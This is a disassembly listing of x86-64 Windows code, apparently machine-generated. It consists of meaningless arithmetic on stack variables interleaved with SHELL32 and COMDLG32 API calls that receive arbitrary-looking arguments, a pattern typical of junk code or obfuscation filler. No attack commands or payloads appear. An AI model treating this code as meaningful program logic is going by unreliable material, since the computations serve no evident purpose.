mov word [0x14019d1e8], ax
movzx eax, word [rsp + 0x2b64]
mov word [rsp + 0x2e00], ax
mov rax, qword [rsp + 0xe4a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2b80], ax
mov rax, qword [rsp + 0xdca8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd800]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xf84], ax
mov dword [rsp + 0x20], ILGetNext
lea r9, [rsp + 0x6d88]
mov r8d, 0x5d
lea rdx, [rsp + 0xd3c0]
lea rcx, [rsp + 0xd688]
call qword [sym.imp.SHELL32.dll_SHGetDataFromIDListW]
mov dword [rsp + 0x6f28], eax
mov rax, qword [rsp + 0xe058]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd970]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x26c], al
mov rax, qword [rsp + 0xe278]
mov rcx, qword [rsp + 0xd110]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc1a0], rax
mov rax, qword [rsp + 0xe1a8]
mov eax, dword [rax]
mov dword [rsp + 0x6f94], eax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd750]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2cd8], ax
mov rax, qword [rsp + 0xdbd0]
movzx eax, word [rax]
movzx ecx, word [0x14019f1e0]
add eax, ecx
mov word [rsp + 0x2b88], ax
mov rax, qword [rsp + 0xd5a0]
mov rax, qword [rax]
mov qword [0x14019f390], rax
lea rax, [rsp + 0xad58]
mov qword [rsp + 0xe650], rax
mov rax, qword [rsp + 0xd720]
mov rcx, qword [rsp + 0xceb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd320], rax
mov rax, qword [rsp + 0xad38]
mov rcx, qword [0x14019d160]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc8e0], rax
movzx eax, word [rsp + 0x2dbc]
movzx ecx, word [rsp + 0x2c70]
xor eax, ecx
mov word [rsp + 0x1660], ax
mov rax, qword [rsp + 0xe550]
mov eax, dword [rax]
mov dword [rsp + 0x6f98], eax
mov rax, qword [rsp + 0xd1d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x22b]
and eax, ecx
mov byte [rsp + 0x4c0], al
mov rax, qword [rsp + 0xdcf0]
mov rcx, qword [rsp + 0xadb8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd0c8], rax
mov rax, qword [rsp + 0xdd48]
movzx eax, byte [rax]
mov byte [rsp + 0x561], al
mov eax, dword [rsp + 0x6894]
mov rcx, qword [rsp + 0xd058]
mov qword [rsp + 0xe658], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe658]
mov eax, dword [rax]
shr eax, cl
mov dword [0x14019d0b0], eax
movsx eax, word [rsp + 0x1770]
movsx ecx, word [rsp + 0x2dc4]
shl eax, cl
mov word [rsp + 0x2794], ax
movsx eax, word [rsp + 0x2760]
mov rcx, qword [0x14019f0c0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1c58], ax
movzx eax, word [rsp + 0x2a60]
mov rcx, qword [rsp + 0xe4a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d44], ax
mov rax, qword [rsp + 0xdd90]
mov rcx, qword [0x14019f148]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd590], rax
mov rax, qword [rsp + 0xdbd8]
mov eax, dword [rax]
mov dword [rsp + 0x6f9c], eax
mov rax, qword [rsp + 0xd248]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd9a8]
mov qword [rsp + 0xe660], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe660]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc1e0], rax
mov rax, qword [rsp + 0xdd70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd9f0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x155], al
movsx eax, word [rsp + 0x2ac0]
movsx ecx, word [rsp + 0x1d90]
sub eax, ecx
mov word [rsp + 0x2a50], ax
movzx eax, word [rsp + 0x2af0]
movzx ecx, word [rsp + 0x2dbc]
add eax, ecx
mov word [0x14019d178], ax
mov rax, qword [0x14019f150]
mov rcx, qword [rsp + 0xd298]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xe518], rax
movzx eax, word [rsp + 0x2648]
mov word [rsp + 0x2e04], ax
lea rdx, [rsp + 0xe028]
lea rcx, [rsp + 0x6d60]
call qword [sym.imp.SHELL32.dll_ILCombine]
mov qword [rsp + 0xe668], rax
movzx eax, byte [rsp + 0x527]
movzx ecx, byte [rsp + 0x1de]
xor eax, ecx
mov byte [rsp + 0x502], al
mov rax, qword [rsp + 0xd050]
mov eax, dword [rax]
mov dword [rsp + 0x6fa0], eax
mov rax, qword [rsp + 0xe500]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd180]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x22a], al
lea rax, [rsp + 0xd840]
mov qword [rsp + 0xe670], rax
mov eax, dword [rsp + 0x6f40]
mov rcx, qword [rsp + 0xcfb0]
mov qword [rsp + 0xe678], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe678]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5ba8], eax
movsx eax, word [rsp + 0x2ca8]
movsx ecx, word [rsp + 0x1af8]
or eax, ecx
mov word [rsp + 0x2b28], ax
mov dword [rsp + 0x20], 0x9f
lea r9, [rsp + 0xdb20]
lea r8, [rsp + 0xd130]
mov edx, 3
mov rcx, qword [rsp + 0xd268]
call qword [sym.imp.SHELL32.dll_ExtractIconExW]
mov dword [rsp + 0x6c08], eax
mov rax, qword [rsp + 0xdbf0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe318]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019d1ec], ax
lea rcx, [rsp + 0x1f3f0]
call qword [sym.imp.COMDLG32.dll_ChooseFontW]
mov dword [rsp + 0x6d7c], eax
mov rax, qword [rsp + 0xdfa0]
mov rcx, qword [rsp + 0xd848]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb450], rax
mov rax, qword [rsp + 0xd1c0]
mov rcx, qword [rsp + 0xe080]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd128], rax
mov rax, qword [0x14019f288]
movzx eax, word [rax]
mov word [rsp + 0x2e08], ax
movzx eax, word [rsp + 0x124c]
movzx ecx, word [rsp + 0x2b48]
shl eax, cl
mov word [rsp + 0x2dcc], ax
mov rax, qword [rsp + 0xdc60]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd960]
mov qword [rsp + 0xe680], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe680]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xda88]
mov dword [rcx], eax
mov rcx, qword [rsp + 0xdf60]
call qword [sym.imp.SHELL32.dll_ILCreateFromPathW]
mov qword [rsp + 0xe688], rax
lea rdx, [rsp + 0xd3c0]
lea rcx, [rsp + 0xcf00]
call qword [sym.imp.SHELL32.dll_SHIsFileAvailableOffline]
mov dword [rsp + 0x6e4c], eax
mov rax, qword [rsp + 0xd438]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xce70]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x4d4], al
mov rax, qword [rsp + 0xe488]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xde20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xdf38], rax
mov rax, qword [rsp + 0xe4f8]
mov qword [rsp + 0xe690], rax
movzx eax, word [rsp + 0x1bd4]
mov word [0x14019f398], ax
mov rax, qword [rsp + 0xd8e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ccc]
sub eax, ecx
mov word [rsp + 0xba0], ax
movzx eax, byte [rsp + 0x4a1]
mov rcx, qword [rsp + 0xd0c0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x557], al
lea rcx, [rsp + 0x1fb60]
call qword [sym.imp.COMDLG32.dll_PrintDlgW]
mov dword [rsp + 0x6f6c], eax
mov rax, qword [rsp + 0xdbc8]
mov ecx, dword [rsp + 0x6ee4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x67bc], eax
mov rax, qword [rsp + 0xd6d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd288]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd5c8], rax
mov eax, dword [rsp + 0x654c]
mov dword [rsp + 0x6fa4], eax
movsx eax, byte [rsp + 0x4e6]
movsx ecx, byte [rsp + 0x512]
sar eax, cl
mov rcx, qword [rsp + 0xe260]
mov byte [rcx], al
mov rax, qword [rsp + 0xd938]
mov rcx, qword [rsp + 0xd0e8]
mov qword [rsp + 0xe698], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe698]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xd9a8]
mov qword [rcx], rax
lea rax, [rsp + 0x1994]
mov qword [rsp + 0xe6a0], rax
mov rax, qword [rsp + 0xdca8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe2b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019f1a4], ax
mov rax, qword [rsp + 0xd0d8]
mov rcx, qword [rsp + 0xe538]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc8e0], rax
mov rax, qword [rsp + 0xd148]
movzx eax, word [rax]
mov word [rsp + 0x2e0c], ax
mov rax, qword [rsp + 0xddb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdf90]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1d0c], ax
mov rax, qword [rsp + 0xde88]
mov rcx, qword [0x14019f0d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xae98], rax
mov rax, qword [rsp + 0xdfa8]
mov rcx, qword [rsp + 0xdd88]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6f30], eax
mov rax, qword [rsp + 0xd628]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd488]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x54f], al
mov rax, qword [0x14019f2a0]
mov qword [rsp + 0xe6a8], rax
movzx eax, word [rsp + 0x2aa8]
mov rcx, qword [rsp + 0xe458]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xfbc], ax
mov rax, qword [rsp + 0xe4b0]
mov rcx, qword [rsp + 0xd638]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14019d1f0], rax
mov rax, qword [rsp + 0xd150]
mov rcx, qword [rsp + 0xe550]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x64d8], eax
movzx eax, byte [rsp + 0x508]
mov rcx, qword [rsp + 0xdd98]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xdc50]
mov byte [rcx], al
movsx eax, word [rsp + 0x2b20]
mov rcx, qword [rsp + 0xe558]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xd258]
mov word [rcx], ax
mov rax, qword [rsp + 0xd4e0]
movzx eax, word [rax]
mov word [rsp + 0x2e10], ax
movsx eax, byte [rsp + 0x1e5]
mov rcx, qword [rsp + 0xd218]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x558], al
mov rax, qword [rsp + 0xe280]
mov qword [rsp + 0xe6b0], rax
mov rax, qword [rsp + 0xdd50]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6cf8]
shr eax, cl
mov dword [rsp + 0x5b3c], eax
mov rax, qword [rsp + 0xd928]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd770]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x10c8], ax
movzx eax, word [rsp + 0x2cac]
mov rcx, qword [rsp + 0xd160]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14019f1cc], ax
mov rax, qword [rsp + 0xe378]
mov rcx, qword [rsp + 0xd4b8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbcf8], rax
mov rax, qword [rsp + 0xd2a0]
mov rcx, qword [rsp + 0xe048]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcf80], rax
mov rax, qword [rsp + 0xbf78]
mov qword [rsp + 0xe6b8], rax
mov rax, qword [rsp + 0xd188]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdb90]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x20a8], ax
mov eax, dword [0x14019d0b0]
mov rcx, qword [rsp + 0xda88]
mov qword [rsp + 0xe6c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe6c0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6d2c], eax
mov rax, qword [rsp + 0xd9f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x539]
or eax, ecx
mov byte [rsp + 0x452], al
mov rax, qword [0x14019f218]
mov rcx, qword [rsp + 0xe278]
mov qword [rsp + 0xe6c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe6c8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xdca0], rax
lea rax, [rsp + 0x36f]
mov qword [rsp + 0xe6d0], rax
mov rax, qword [rsp + 0xdb30]
mov ecx, dword [rsp + 0x60c4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6e5c], eax
lea rax, [rsp + 0x2c78]
mov qword [0x14019f3a0], rax
mov rax, qword [rsp + 0xd7a0]
movzx eax, word [rax]
mov word [rsp + 0x2e14], ax
movzx eax, word [rsp + 0x1b18]
mov rcx, qword [rsp + 0xd228]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2d3c], ax
mov rax, qword [rsp + 0x9810]
mov rcx, qword [rsp + 0x9088]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa3d0], rax
mov eax, dword [0x14019d0b0]
mov dword [rsp + 0x6fa8], eax
mov rax, qword [rsp + 0xdb10]
mov rcx, qword [rsp + 0xdef0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xddd8], rax
mov rax, qword [rsp + 0xe260]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe2f8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x3cc], al
mov rax, qword [0x14019f028]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1254]
sar eax, cl
mov word [rsp + 0x2b38], ax
movzx eax, word [rsp + 0xea8]
movzx ecx, word [rsp + 0x1494]
shl eax, cl
mov word [rsp + 0x183c], ax
mov rax, qword [0x14019f050]
mov rcx, qword [rsp + 0xe640]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14019d0c0], rax
movzx eax, word [rsp + 0x1804]
mov word [rsp + 0x2e18], ax
mov rax, qword [rsp + 0xe3f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe338]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xda78], rax
lea rax, [0x14019d100]
mov qword [rsp + 0xe6d8], rax
mov eax, dword [rsp + 0x6d74]
mov ecx, dword [rsp + 0x58e0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6df8], eax
mov rax, qword [rsp + 0xdea8]
mov rcx, qword [rsp + 0xe580]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc330], rax
mov rax, qword [rsp + 0xd150]
mov rcx, qword [rsp + 0xdd60]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x61cc], eax
mov rax, qword [rsp + 0xd1d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x517]
shl eax, cl
mov byte [rsp + 0x52d], al
mov rax, qword [rsp + 0xe340]
movzx eax, byte [rax]
mov byte [rsp + 0x562], al
movsx eax, word [0x14019ef94]
mov rcx, qword [rsp + 0xe558]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x14019d13c], ax
movsx eax, word [rsp + 0x13d8]
movsx ecx, word [rsp + 0x245c]
and eax, ecx
mov word [rsp + 0x2bf8], ax
lea r9, [rsp + 0xd448]
lea r8, [rsp + 0xd520]
lea rdx, [rsp + 0xd010]
mov rcx, qword [rsp + 0xe6e0]
call qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExA]
mov dword [rsp + 0x6fac], eax
movzx eax, word [0x14019d178]
mov word [rsp + 0x2e1c], ax
mov rax, qword [rsp + 0xd800]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x150c]
xor eax, ecx
mov word [rsp + 0x2c90], ax
call qword [sym.imp.COMDLG32.dll_CommDlgExtendedError]
mov dword [rsp + 0x6cb8], eax
mov rax, qword [rsp + 0xd218]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x547]
or eax, ecx
mov byte [rsp + 0x77], al
lea rax, [0x14019d060]
mov qword [rsp + 0xe6e8], rax
mov rax, qword [rsp + 0xd608]
mov rcx, qword [rsp + 0x98e0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc4b8], rax
mov edx, 0x93
mov rcx, qword [rsp + 0xd1f8]
call qword [sym.imp.SHELL32.dll_SHGetIconOverlayIndexW]
mov dword [rsp + 0x6c58], eax
mov rax, qword [rsp + 0xd770]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2ae8]
or eax, ecx
mov word [rsp + 0xfd8], ax
movzx eax, word [0x14019f228]
mov rcx, qword [rsp + 0xd800]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2ae4], ax
mov r9d, 0x71
mov r8d, reloc.SHELL32.dll_ILIsParent
mov edx, 0xa0
mov rcx, qword [rsp + 0xdde0]
call qword [sym.imp.SHELL32.dll_SHUpdateImageW]
mov rax, qword [rsp + 0xdcd8]
mov qword [0x14019f3a8], rax
mov rax, qword [rsp + 0xd2a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xda20]
mov qword [rsp + 0xe6f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe6f0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xe100], rax
mov rax, qword [0x14019f268]
mov rax, qword [rax]
mov qword [rsp + 0xe6f8], rax
mov rax, qword [rsp + 0xdd90]
mov rcx, qword [rsp + 0xda20]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd250], rax
movzx eax, word [rsp + 0x2af4]
mov rcx, qword [0x14019f060]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2678], ax
mov rax, qword [rsp + 0xdd98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xdc50]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xdd98]
mov byte [rcx], al
mov rax, qword [rsp + 0xd150]
mov rcx, qword [rsp + 0xdd60]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6b50], eax
movzx eax, byte [0x14019ef9a]
mov byte [rsp + 0x563], al
mov rax, qword [rsp + 0xdff0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5a80]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d94], eax
lea rax, [rsp + 0xdc58]
mov qword [0x14019f3b0], rax
movsx eax, word [rsp + 0x178c]
mov rcx, qword [rsp + 0xd7b8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1010], ax
mov rax, qword [rsp + 0xd398]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1910]
and eax, ecx
mov rcx, qword [rsp + 0xdd10]
mov word [rcx], ax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdf98]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2bd8], ax
lea rax, [rsp + 0xb568]
mov qword [rsp + 0xe700], rax
mov rax, qword [rsp + 0xe5d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x52f]
shl eax, cl
mov rcx, qword [rsp + 0xe600]
mov byte [rcx], al
mov rax, qword [rsp + 0xdd50]
mov eax, dword [rax]
mov dword [rsp + 0x6fb0], eax
mov rax, qword [rsp + 0xd3b8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9f68]
shr rax, cl
mov qword [rsp + 0xa2c0], rax
movzx eax, word [rsp + 0xd68]
mov word [rsp + 0x2e20], ax
movzx eax, word [rsp + 0x2ac4]
movzx ecx, word [rsp + 0xcf0]
or eax, ecx
mov rcx, qword [0x14019f060]
mov word [rcx], ax
mov rax, qword [rsp + 0xd7a8]
mov rax, qword [rax]
mov rcx, qword [0x14019d040]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xe570], rax
movzx eax, word [rsp + 0x1c4c]
mov rcx, qword [rsp + 0xd5f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2e18], ax
lea rax, [rsp + 0x6458]
mov qword [rsp + 0xe708], rax
movzx eax, byte [0x14019d010]
mov rcx, qword [rsp + 0xd550]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x4f], al
mov rax, qword [rsp + 0xe278]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd908]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8fb0], rax
movsx eax, byte [rsp + 0x520]
mov rcx, qword [0x14019f180]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xe0c8]
mov byte [rcx], al
mov eax, dword [rsp + 0x6e58]
mov ecx, dword [rsp + 0x6e40]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6edc], eax
mov rax, qword [rsp + 0xe0b8]
movzx eax, word [rax]
mov word [rsp + 0x2e24], ax
mov rax, qword [rsp + 0xd8b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd4e0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019d198], ax
mov rax, qword [rsp + 0xe310]
mov rcx, qword [rsp + 0xcc68]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xe460], rax
mov rax, qword [rsp + 0xe650]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd5e8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc020], rax
movsx eax, word [rsp + 0x2e24]
mov rcx, qword [rsp + 0xd188]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2a74], ax
movzx eax, word [rsp + 0x1c4c]
mov rcx, qword [rsp + 0xe2a8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xdbd0]
mov word [rcx], ax
mov rax, qword [rsp + 0xda70]
mov eax, dword [rax]
mov dword [rsp + 0x6fb4], eax
mov rax, qword [rsp + 0xd0c8]
movzx ecx, al
mov rax, qword [rsp + 0xd610]
shr rax, cl
mov qword [rsp + 0xd210], rax
mov rax, qword [rsp + 0xe328]
movzx eax, byte [rax]
mov byte [rsp + 0x564], al
mov rax, qword [rsp + 0xaa88]
mov rcx, qword [rsp + 0xe0c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xdd58], rax
mov rax, qword [rsp + 0xe1b0]
movzx eax, word [rax]
mov word [0x14019f3b8], ax
movzx eax, word [rsp + 0x2ca0]
mov rcx, qword [rsp + 0xe318]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1898], ax
mov eax, dword [0x14019efa8]
mov ecx, dword [rsp + 0x6eb8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5918], eax
lea rdx, [rsp + 0x216d0]
lea rcx, [rsp + 0x21150]
call qword [sym.imp.SHELL32.dll_ILSaveToStream]
mov dword [rsp + 0x6fb8], eax
mov rax, qword [rsp + 0xdc70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x518]
or eax, ecx
mov byte [rsp + 0x4f3], al
mov rax, qword [rsp + 0xddf8]
mov rax, qword [rax]
mov qword [rsp + 0xe710], rax
mov rax, qword [rsp + 0xde20]
mov rcx, qword [rsp + 0xe078]
mov qword [rsp + 0xe718], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe718]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xe388]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x563]
movsx ecx, byte [rsp + 0xc5]
sar eax, cl
mov byte [rsp + 0x2ba], al
mov eax, dword [rsp + 0x6e84]
mov ecx, dword [rsp + 0x6d5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b8c], eax
movsx eax, word [rsp + 0x2b94]
movsx ecx, word [rsp + 0x2ca8]
sub eax, ecx
mov rcx, qword [rsp + 0xe0e0]
mov word [rcx], ax
movzx eax, word [rsp + 0x2d3c]
movzx ecx, word [rsp + 0x22a8]
and eax, ecx
mov word [0x14019d1f8], ax
mov rax, qword [rsp + 0x9660]
mov qword [rsp + 0xe720], rax
mov rax, qword [rsp + 0xda50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c44]
xor eax, ecx
mov word [rsp + 0x2b88], ax
mov rax, qword [rsp + 0xced0]
movzx eax, word [rax]
mov word [rsp + 0x2e28], ax
mov rax, qword [0x14019d190]
mov rcx, qword [rsp + 0xd890]
mov qword [rsp + 0xe728], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe728]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xe438], rax
mov rax, qword [rsp + 0xdd00]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6d6c]
shr eax, cl
mov rcx, qword [rsp + 0xe618]
mov dword [rcx], eax
mov r8, qword [rsp + 0xcde8]
mov rdx, qword [rsp + 0xd268]
mov rcx, qword [rsp + 0xd2c8]
call qword [sym.imp.SHELL32.dll_FindExecutableW]
mov qword [rsp + 0xdf08], rax
mov rax, qword [0x14019f2e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa5a0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9038], rax
mov rax, qword [rsp + 0xe058]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4f2]
sub eax, ecx
mov byte [rsp + 0x537], al
lea rax, [rsp + 0x2dec]
mov qword [rsp + 0xe730], rax
mov rax, qword [rsp + 0xe378]
mov rcx, qword [rsp + 0xd868]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x14019f050]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe420]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe6d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x502], al
mov rax, qword [rsp + 0xd150]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6c94]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5f48], eax
movzx eax, word [0x14019ef94]
mov word [rsp + 0x2e2c], ax
movzx eax, word [rsp + 0x2dbc]
mov rcx, qword [rsp + 0xe730]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2a4c], ax
mov eax, dword [rsp + 0x6f84]
movzx ecx, al
mov eax, dword [rsp + 0x6db8]
shl eax, cl
mov dword [rsp + 0x69f4], eax
mov rax, qword [0x14019f3b0]
mov rcx, qword [rsp + 0xd5d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xaa78], rax
mov rax, qword [rsp + 0xe500]
movzx eax, byte [rax]
mov byte [rsp + 0x565], al
movsx eax, word [rsp + 0x1254]
mov rcx, qword [0x14019f008]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x245c], ax
mov rax, qword [rsp + 0xe2a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2678]
add eax, ecx
mov word [0x14019f170], ax
mov rax, qword [rsp + 0xa0e8]
mov rcx, qword [rsp + 0xe118]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xd638], rax
mov rax, qword [rsp + 0xd220]
mov rcx, qword [0x14019f178]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8fa0], rax
mov rax, qword [rsp + 0xdcb0]
mov rcx, qword [rsp + 0xd440]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xce78]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe3c0]
movzx eax, word [rax]
mov word [rsp + 0x2e30], ax
mov rax, qword [rsp + 0xd9f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd180]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x550], al
mov rax, qword [rsp + 0xdac0]
mov rcx, qword [rsp + 0xdea8]
mov qword [rsp + 0xe738], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe738]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xd4f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd960]
mov eax, dword [rax]
mov dword [rsp + 0x6fbc], eax
movzx eax, byte [rsp + 0x50b]
movzx ecx, byte [rsp + 0x1de]
shl eax, cl
mov byte [rsp + 0x481], al
mov eax, dword [rsp + 0x6d08]
mov ecx, dword [rsp + 0x59f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x64cc], eax
mov rax, qword [0x14019f1c0]
movzx eax, word [rax]
mov word [0x14019f3bc], ax
movzx eax, word [rsp + 0x1fbc]
mov rcx, qword [rsp + 0xe2a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x12b8], ax
